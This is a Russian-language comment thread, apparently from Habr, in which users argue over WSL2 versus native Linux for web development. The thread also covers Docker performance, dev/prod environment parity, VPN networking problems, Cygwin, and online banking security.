А если вы не игнорируете вопросы совместимости и эмулируете среду сервера полноценно — то нет никакой разницы где эту среду полностью эмулировать.
Статья-то как раз о том, что WSL дает вполне себе полноценную эмуляцию среды сервера. Чего достаточно для разработки.
Ну а высокая прозрачность (не полная, но работы по совершенствованию WSL ведутся) этой среды эмуляции сервера для инструментов разработки — отдельный плюс WSL.
Docker прекрасно работает в WSL. Там же виртуалка. Полная эмуляция. Не компромиссная.
Но это не отменяет того, что это костыль. А зачем? Я не вижу ни одного плюса винды относительно линуксов, а минусов наоборот вижу очень много.
Но главное — что там с производительностью будет? Мои nvme диски в той эмулированной среде продолжат работать на скорости 3.5Гб/сек? Подозреваю, что с этим будут проблемы.
Смотрите, у меня база данных postgresql размером 50Гб, плюс elasticsearch на десяток миллионов документов. Причем документы надо не только хранить, но и обрабатывать… Вот зачем мне эта винда и эмуляция? У меня и других проблем полно.
Я понимаю, что в случае разработки типовых сайтиков допустимы компромиссы с эмуляцией и пр. Но в этом случае именно винда должна быть нужна по каким то причинам. Однако и вижу целесообразным в большинстве случаев такие задачи выносить на отдельный комп (либо вирт. машину).
Но это не отменяет того, что это костыль. А зачем? Я не вижу ни одного плюса винды относительно линуксов, а минусов наоборот вижу очень много.
Речь же не идет о том, что кто-то что-то напишет в комментарии — и вам придется переезжать на ненавистную ОС.
Но главное — что там с производительностью будет? Мои nvme диски в той эмулированной среде продолжат работать на скорости 3.5Гб/сек? Подозреваю, что с этим будут проблемы.
Зависит от сценария использования.
habr.com/ru/post/419825
Вплоть до того, что на некоторых сценариях «реальный» диск даже чуть медленнее виртуализованного.
Этот парадокс может поясняться размером блоков записи:
m.habr.com/ru/company/selectel/blog/521168
Смотрите, у меня база данных postgresql размером 50Гб, плюс elasticsearch на десяток миллионов документов. Причем документы надо не только хранить, но и обрабатывать… Вот зачем мне эта винда и эмуляция? У меня и других проблем полно.
Можно не виртуализировать PostgreSQL. Обращение к нему все равно идет по сети/через сокеты.
Нужна ли вам виртуализация, имели ли вы уже проблемы с несовместимостью сред dev и prod — принимать решение только вам.
Однако и вижу целесообразным в большинстве случаев такие задачи выносить на отдельный комп (либо вирт. машину).
На современном железе смысла в этом нет.
Зачастую сервер слабее, чем машина разработчика.
Ну а когда ситуация иная и сервер мощнее, чем машина разработчика — вы все равно не сможете это полномасштабно воспроизвести в dev-среде.
Тут на Хабре были статьи о том, как создавали специальные базы данных для разработки, когда prod-база на много терабайт лежит в кластере и для разработчиков нужно создать какой-то урезанный вариант.
Это отдельная проблема, отдельное железо, отдельные специалисты.
И там каждому разработчику всё равно отдельную базу не делали — накладно слишком, там же еще и разные версии нужно. Максимум — 1-2-3 версии базы данных на отдел из, например, 5-ти человек. Плюс эти версии были виртуализованны через снэпшоты ZFS или аналогичным механизмом, то есть речи о производительности никакой не идет в этом случае.
Он может и проводил, просто копия устаревшая. Снял когда-то, а сервер уже обновился. Частая проблема когда разработка к эксплуатации мало отношения имеет, даже если хочет сделать всё по уму.
Он может и проводил, просто копия устаревшая. Снял когда-то, а сервер уже обновился. Частая проблема когда разработка к эксплуатации мало отношения имеет, даже если хочет сделать всё по уму.
Конкретно в этом случае (это же я ситуацию описывал, поэтому я в курсе) ситуация как с нашим товарищем nivorbud: «У меня ОС на которой я работаю приближена к серверному ПО и этого достаточно».
У него ОС не обновлялась уже хрен знает сколько времени.
Судя по предыдущему опыту, когда он обновил ОС только тогда, когда репозитарии прежней версии ОС удалили с сервера разработчиков дистрибутива.
Ага.
И разработчикам приложений для телефонов — на них разрабатывать.
И разработчиком ПО для микроконтроллеров — сразу в холодильниках программировать, где этои микроконтроллеры будут использоваться.
Ну зачем доводить всё до абсурда, а потом опровергать это? Речь в сабжевой статье идет о веб-разработке и контейнерах под это дело. Нативной средой для этого являются никсы. Всё остальное — костыли.
Ну то есть шутку вы прокомментировали, а на основную часть комментария не ответили?
Что там по вторую часть моего комментария?
Где я пишу о проблеме разработчика, который используя десктопный Linux для разработки сталкивается с неожиданной частичной несовместимостью сред сервера и десктопной, что приводит к неожиданностям в эксплуатации разработанного им приложения, которое он, как он думал, отладил локально?
«У меня на компьютере всё работает, а что там на сервере у вас не так — я не знаю, я свою работу сделал»? Или как?
(простите, наболело, задолбали малокомпетентные горе-разработчики с этой отмазкой)
В настоящее время у грамотных разработчиков принят вовсе не тот вариант что вы предлагаете. Нет острой необходимости использовать одну и ту же среду исполнения и среду разработки, это даже противопоказано в серьезной разработке.
Среда исполнения всё равно следует изолировать при отладке для более точного воспроизведения условий сервера.
Где я пишу о проблеме разработчика, который используя десктопный Linux для разработки сталкивается с неожиданной частичной несовместимостью сред сервера и десктопной, что приводит к неожиданностям в эксплуатации разработанного им приложения, которое он, как он думал, отладил локально?
Лично я докеры использую для решения этой проблемы с версиями баз даных и пр.
Нет острой необходимости использовать одну и ту же среду исполнения и среду разработки
Речь не идет о точно такой же среде (хотя это не плохо было бы), речь идет о схожей среде. Схожая среда, где всё исполняется нативно, а не через виртуализацию, — это однозначный плюс.
Ну если речь вести именно о винде, то я её вообще не рассматриваю как серьезный инструмент для работы. По той простой причине, что современные версии винды уже не подконтрольны пользователю.
Лично я докеры использую для решения этой проблемы с версиями баз даных и пр.
В этом случае мы ровно подобную систему и имеем с WSL. И даже переучиваться не придется, можно тот же Докер использовать с WSL.
Схожая среда, где всё исполняется нативно, а не через виртуализацию, — это однозначный плюс.
Плюс — только на слабом железе.
Ну не знаю, имхо, для разработчика компьютер это основной рабочий инструмент. И экономить на нем глупо. Тем более, что там всего-то нужно то лишний десяток гигабайтов оперативной памяти докупить.
Благодаря аппаратной поддержке виртуализации встроенной в процессоры уже много лет назад — накладные расходы на виртуализацию крайне невелики. У вас IDE уровня Jetbrains больше будет жрать, чем система виртуализации, даже запустившая при этом пяток контейнеров.
Ну не знаю, имхо, для разработчика компьютер это основной рабочий инструмент. И экономить на нем глупо. Тем более, что там всего-то нужно то лишний десяток гигабайтов оперативной памяти докупить.
Наоборот, именно по причине мощного компа (тредрипер/128GB RAM/4 поповых nvme диска в зеркалах) я и не хочу терять эти топовые преимущества на виртуализации. Я конечно использую и виртуализацию, но (!) например сложную обработку десятка миллионов документов (например кластеризацию через вектора слов) я хочу проводить, задействуя всю мощь компа, без потерь.
я хочу
Вы так пишете будто бы лично вам это кто-то запрещает.
А это вообще можно как-то запретить делать через комментарии в интернете?
Разумеется, всегда можно придумать какой-то кейс использования для которого любое другое решение не подходит.
Наоборот, именно по причине мощного компа (тредрипер/128GB RAM/4 поповых nvme диска в зеркалах) я и не хочу терять эти топовые преимущества на виртуализации. Я конечно использую и виртуализацию, но (!) например сложную обработку десятка миллионов документов (например кластеризацию через вектора слов) я хочу проводить, задействуя всю мощь компа, без потерь.
Что и требовалось доказать!
От изначального вашего аргумента:
Почему бы сразу не выбрать железо и ОСь под свои задачи? Очевидно же, что ОСь лучше выбирать близкой к той, что стоит на серверах, где крутятся разрабатываемы сайты.
и вот еще этого вашего аргумента:
Ну зачем доводить всё до абсурда, а потом опровергать это? Речь в сабжевой статье идет о веб-разработке и контейнерах под это дело. Нативной средой для этого являются никсы. Всё остальное — костыли.
вы перешли уже к совсем другим задача, где, я согласен, это действительно более целесообразно.
Ну да. А если лень возиться со всем зоопарком, который нужен твоим хотелкам — меняй хотелки.
Но некоторые все равно надеются и на елку влезть, и не исколоться.
Нужны игрушки? Купите себе/детям игровую консоль и не смешивайте игры с работой.
Детям — ладно, нужно. Чтобы не портили рабочий компьютер вирусами, которые они заносят с играми, что скачивают откуда попало.
Себе?
Дело даже не в лишних деньгах — а в куче хлама, собирающего пыль, что вы предлагаете держать дома.
Нынешние технологии до того доходят, что люди вон вообще на одном телефоне 90% дел делают (не разработку конечно, но пытаются и это, на Хабре есть статьи), а вы предлагаете лишние вещи покупать…
Нынешние технологии до того доходят, что люди вон вообще на одном телефоне 90% дел делают (не разработку конечно, но пытаются и это, на Хабре есть статьи), а вы предлагаете лишние вещи покупать…
Ну, а потом раздаются гневные вопли, что мошенники опустошили все счета, а банки перекладывают ответственность на самих же клиентов… Не удивительно.
Ну, а потом раздаются гневные вопли, что мошенники опустошили все счета, а банки перекладывают ответственность на самих же клиентов… Не удивительно.
Окститесь, мы же на форуме ИТ-шников, откуда тут такой бред.
Чтобы плохого не происходило я уже написал что достаточно:
Нужны игрушки? Купите себе/детям игровую консоль и не смешивайте игры с работой.
Детям — ладно, нужно. Чтобы не портили рабочий компьютер вирусами, которые они заносят с играми, что скачивают откуда попало.
Но при чем тут взрослые, являющиеся профессиональными ИТ-шниками?
Или у вас подтверждения банковских операций с использованием СМС — отключены?
Окститесь, мы же на форуме ИТ-шников, откуда тут такой бред.
Это не бред. Уж как айтишник вы более любого обывателя должны знать, что осуществление банковских операций через винду или андроид — это плохая затея. Осуществление банковских операций с основного компа-комбайна — это тоже плохая затея (даже если там макось или линукс).
Это не бред. Уж как айтишник вы более любого обывателя должны знать, что осуществление банковских операций через винду или андроид — это плохая затея. Осуществление банковских операций с основного компа-комбайна — это тоже плохая затея (даже если там макось или линукс).
При том, что все операции идущие на сторону требуют обязательного подтверждения отдельным устройством (СМС)?
Понятно, что лучше подстраховаться и вообще не ставить на свой компьютер левого ПО из неизвестных источников.
Но это только снижается вероятность и на Линуксе. Но никакой гарантии вам не дает.
Или вы уже забыли об тех случаях, когда трояны проникали во вполне официальные репозитарии линуховых дистрибутивов? Причем не куда-нибудь в калькулятор, а в ПО прямо связанное с безопасностью системы!
При том, что все операции идущие на сторону требуют обязательного подтверждения отдельным устройством (СМС)?
Вы сильно рискуете :). Я тоже раньше так думал… что типа если на карте достаточно держать небольшие средства, то рискую только ими. Тоже думал, что смс-ки на отдельном бабушкофоне с запароленным доступом к смс-кам меня защитят…
Однако в реале… например один всем известный топовый банк резко упростил привязку мобильного приложения. Для привязки смартфона стало достаточно указать номер любой карты и код из одной-единственной смки. Причем текст смски полностью совпадает с текстом обычного входа в интернет-банк (т.е. здесь подвоха вы не почувствуете). Далее мобильное приложение предлагает поменять способ авторизации на пуши и с этого момента коды подтверждения будут идти не на ваш кнопочный телефон, а прямо на смартфон с мобильным приложением.
В результате при любой утечке номера карты и одного кода из смски (например при оплате чего-нибудь в интернете) мошенники получают практически полный доступ ко всем вашим счетам, плюс к возможности взять на вас кредит.
Да, я знаю, что надо проверять внимательно ssl-сертификаты сайтов и т.д. и т.п. Но… я также знаю, что и на старуху бывает проруха… вроде уверен, что должен выпасть туз, а в реале выпадает… пиковая дама… И никакие линуксы, маки и пр… не помогут…
Так что я просто напросто прекратил использовать карты этого банка от греха подальше.
Ну и про детей и родных не стоит забывать. Я своему сыну-пятикласснику ставил и родительский контроль и прочие ограничения, однако… он всё это обошел… Да, защиту ставил слабую, не заморачивался, но… всё же этот момент также надо учитывать.
Однако в реале… например один всем известный топовый банк резко упростил привязку мобильного приложения. Для привязки смартфона стало достаточно указать номер любой карты и код из одной-единственной смки. Причем текст смски полностью совпадает с текстом обычного входа в интернет-банк (т.е. здесь подвоха вы не почувствуете). Далее мобильное приложение предлагает поменять способ авторизации на пуши и с этого момента коды подтверждения будут идти не на ваш кнопочный телефон, а прямо на смартфон с мобильным приложением.
В результате при любой утечке номера карты и одного кода из смски (например при оплате чего-нибудь в интернете) мошенники получают практически полный доступ ко всем вашим счетам, плюс к возможности взять на вас кредит.
Так это вообще не имеет никакого отношения к тому — заходите ли вы в свой банк онлайн со своего рабочего компьютера непосредственно или нет (или используете виртуалку).
Намучился в WSL2 с сеткой и VPN-ами. Дело в том, что я работаю удаленно с разными клиентами, у каждого свой VPN-клиент под винду. Из под WSL пускаю ssh с тунелями. Поначалу все работает, но в какой-то неопределенный момент винда перестает видеть тунели ssh, или наоборот, из WSL не видно машины клиентов.
Первая проблема, в том, что WSL поднимает свой виртуальный интерфейс на динамическом IP, и с сеткой, которая может конфликтовать с VPN-ом. Благо вроде есть способ это настроить. Другая проблема в том, что при отключении VPN клиента иногда че-то происходит с роутингом между этими интерфейсами, и связь межу виндой и WSL обрывается — каждый становится сам по себе. Третья проблема DNS провайдер от VPN не прописывается в WSL. На форумах нет никакой конкретной инфы. Короче, ну ее нахрен — вернулся в Cygwin.
А смысл шило на мыло? Тот же самый бокс, только на другой технологии виртуализации. В сигивине все приложения пускаются нативно под виндой, поэтому оно легче и быстрее.
А смысл шило на мыло? Тот же самый бокс, только на другой технологии виртуализации. В сигивине все приложения пускаются нативно под виндой, поэтому оно легче и быстрее.
Если про WSL 1, то Cygwin быстрее да.
Но в WSL 1 просто Linux-вые пакеты, бинарники родные.
А для Cygwin вам нужно компилировать (или найти уже скомпилированные) бинарники.
Для той части софта, что устанавливается инсталлятором Cygwin — это удобно.
Но как только вам нужно что то что инсталлятор не знает — вы тут же нарываете на объемы ручной работы.
В WSL вы используете уже готовое имеющееся под Linux (из реп пакетов бинарных).
Ну а в WSL 2 и со скоростью проблему сняли.
Если бы вы все время работали под Линукс, затем вас вынудили перейти на Windows, потому что что-то важное для вашей работы работает только под Windows, а затем это заработало под Линукс нормально и вы спокойно вернулись на Линукс, и теперь наслаждаетесь И комфортом И работой — пишите статью.
А если вы просто не осилили Windows… ну таких статьей полно.
И в докере на винде та же беда. Мне вот пришлось съехать с винды из-за этого, так можно было бы поднять целиком рабочий проект в докере, ан нет. Интересно, починят ли когда-нибудь?
уже которая статья про WSL2, где "я начал пользоваться WSL2, невероятно круто, все нравится"
нет какого-то разбора, что и как работает, мб нюансы есть (а они есть).
я тоже позитивно отнесся и отношусь к WSL2, но попользовавшись, я понял что если мне нужен линукс, я просто беру и ставлю себе линукс.
очевидный плюс — докер с WSL2 стартует намного быстрее. про быстродействие в целом не могу сказать ничего, необходимы замеры знающих людей.
для мелких и средних задач очень годно, быстро запускается, приемлемо работает — явно плюс для тех, кто пользовался раньше вм.
особо извращенные ребята могут поставить оболочку и запускать десктопные приложения
у автора не получилось, но была статья на хабре раньше, я пробовал, пободался и таки смог. Не могу сказать, что я стал бы работать в таком режиме, но было интересно просто запустить оболочку в wsl
А вот на linux есть 2 неполноценных варианта:
1) Создать новую сессию через Xvnc/vncserver. В этом случае нельзя продолжить начатую в офисе работу. Ну и есть проблемы с некоторыми программами, если их запустить одновременно в двух сессиях одного пользователя, например, firefox и gnome-keyring.
2) Подключиться к существующей сессии, но при этом удалённый компьютер будет разблокирован, что неприемлимо. Можно при подключении отключить устройства ввода через xinput и выкрутить гамму через xrandr (как это делает nomachine), но это костыль не на 100% надёжный.
Как за долгое время я вернулся на Windows (WSL)